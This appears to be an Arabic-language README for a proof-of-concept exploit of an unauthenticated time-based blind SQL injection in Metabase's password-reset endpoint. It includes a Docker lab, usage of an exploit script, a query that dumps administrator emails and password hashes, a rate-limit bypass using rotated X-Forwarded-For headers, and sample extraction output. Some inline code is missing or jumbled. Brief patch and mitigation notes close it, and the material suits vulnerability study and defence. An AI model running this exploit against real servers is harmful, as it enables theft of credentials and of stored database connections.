
استغلال حقن SQL أعمى غير مصادق عليه لـ Metabase، يستغل حقن SQL خام في نقطة نهاية إعادة تعيين كلمة المرور لاستخراج البيانات عبر تقنيات قائمة على الوقت.
★ CVE-2026-72898 ثغرة حقن SQL أعمى غير مصادق عليه في Metabase عبر /api/session/reset_password ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 هي ثغرة حقن SQL غير مصادق عليه في Metabase (CVSS 10.0) يمكن الوصول إليها عبر نقطة النهاية العامة
POST /api/session/reset_password. تدمج نقطة النهاية جسم الطلب مع نتيجة المصادقة (الفاشلة) —(merge request (authenticate ...))— لذا فإن حقلuser-idالذي يوفره المهاجم يبقى دون تعديل ويصل إلى استعلام المستخدم في قاعدة بيانات التطبيقt2/select-one :model/User :id user-idبدون أي تحقق من صحة الأعداد الصحيحة. يبني Metabase استعلامات SQL باستخدام ، حيث يتم تجميع خريطة كـ (بدون ربط معاملات). لذا فإن إرسال كـ يحقن SQL عشوائيًا في قاعدة بيانات التطبيق. تعيد نقطة النهاية دائمًا ، لذا فإن الحقن ؛ يتم استرجاع البيانات باستخدام (قاعدة بيانات Postgres القياسية للإنتاج). الاستغلال الناجح يكشف بيانات مسؤول Metabase، وبيانات اعتماد الاتصال المخزنة لكل مصدر بيانات مرتبط، وتمكين الوصول الكامل إلى تلك القواعد.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| الفئة | الإصدار |
|---|---|
| المتأثرة | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| المصححة | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 أو أحدث |
pos-int? بحيث يتم رفض user-id غير الصحيح قبل الاستعلامقم ببناء وتشغيل Metabase المتأثر. يستخدم قاعدة بيانات تطبيق Postgres (مطلوبة — تقنية
الاعتماد على الوقت تحتاج pg_sleep، والتي تفتقر إليها H2) ويكمل الإعداد الأول تلقائيًا بحيث
يبدأ إلى صفحة تسجيل الدخول. يستغرق بدء التشغيل حوالي 40–60 ثانية.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
قاعدة بيانات تطبيق Postgres (تمكّن pg_sleep) | مدمجة في الصورة |
/api/session/reset_password يمكن الوصول إليها بدون مصادقة | مكشوفة |
| حد إعادة التعيين لكل IP (يتم تجاوزه بتدوير X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
يقرأ الاستغلال metabase_exploit.py أي قيمة تشير إليه، بدون بيانات اعتماد، باستخدام
البدائية العمياء المعتمدة على الوقت. يرسل X-Forwarded-For عشوائيًا جديدًا لكل طلب للتغلب على
حد المعدل لكل IP (كما فعلت الهجمات في البرية). اختر الهدف باستخدام --extract "<SQL>".
# الافتراضي: استخراج بريد المسؤول الإلكتروني
python3 metabase_exploit.py 172.17.0.2:3000
# استخراج أي شيء تريده (أي تعبير SQL عددي)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
الخيارات:
--check — فقط تأكيد أن الحقن قابل للاستغلال (يعرض فرق وقت pg_sleep)--extract "<SQL>" — أي تعبير SQL عددي (يُحوَّل إلى نص تلقائيًا)--sleep 0.4 — التأخير لكل بت TRUE (ارفعه على هدف بطيء/بعيد)POST /api/session/reset_password عند وكيل/WAFcore_session)، وراجع حسابات المسؤولين ومفاتيح API، وقم بتدوير بيانات اعتماد الاتصال لكل مصدر بيانات مرتبط (افترض أنها كشفت إذا كانت نقطة النهاية قابلة للوصول عبر الإنترنت)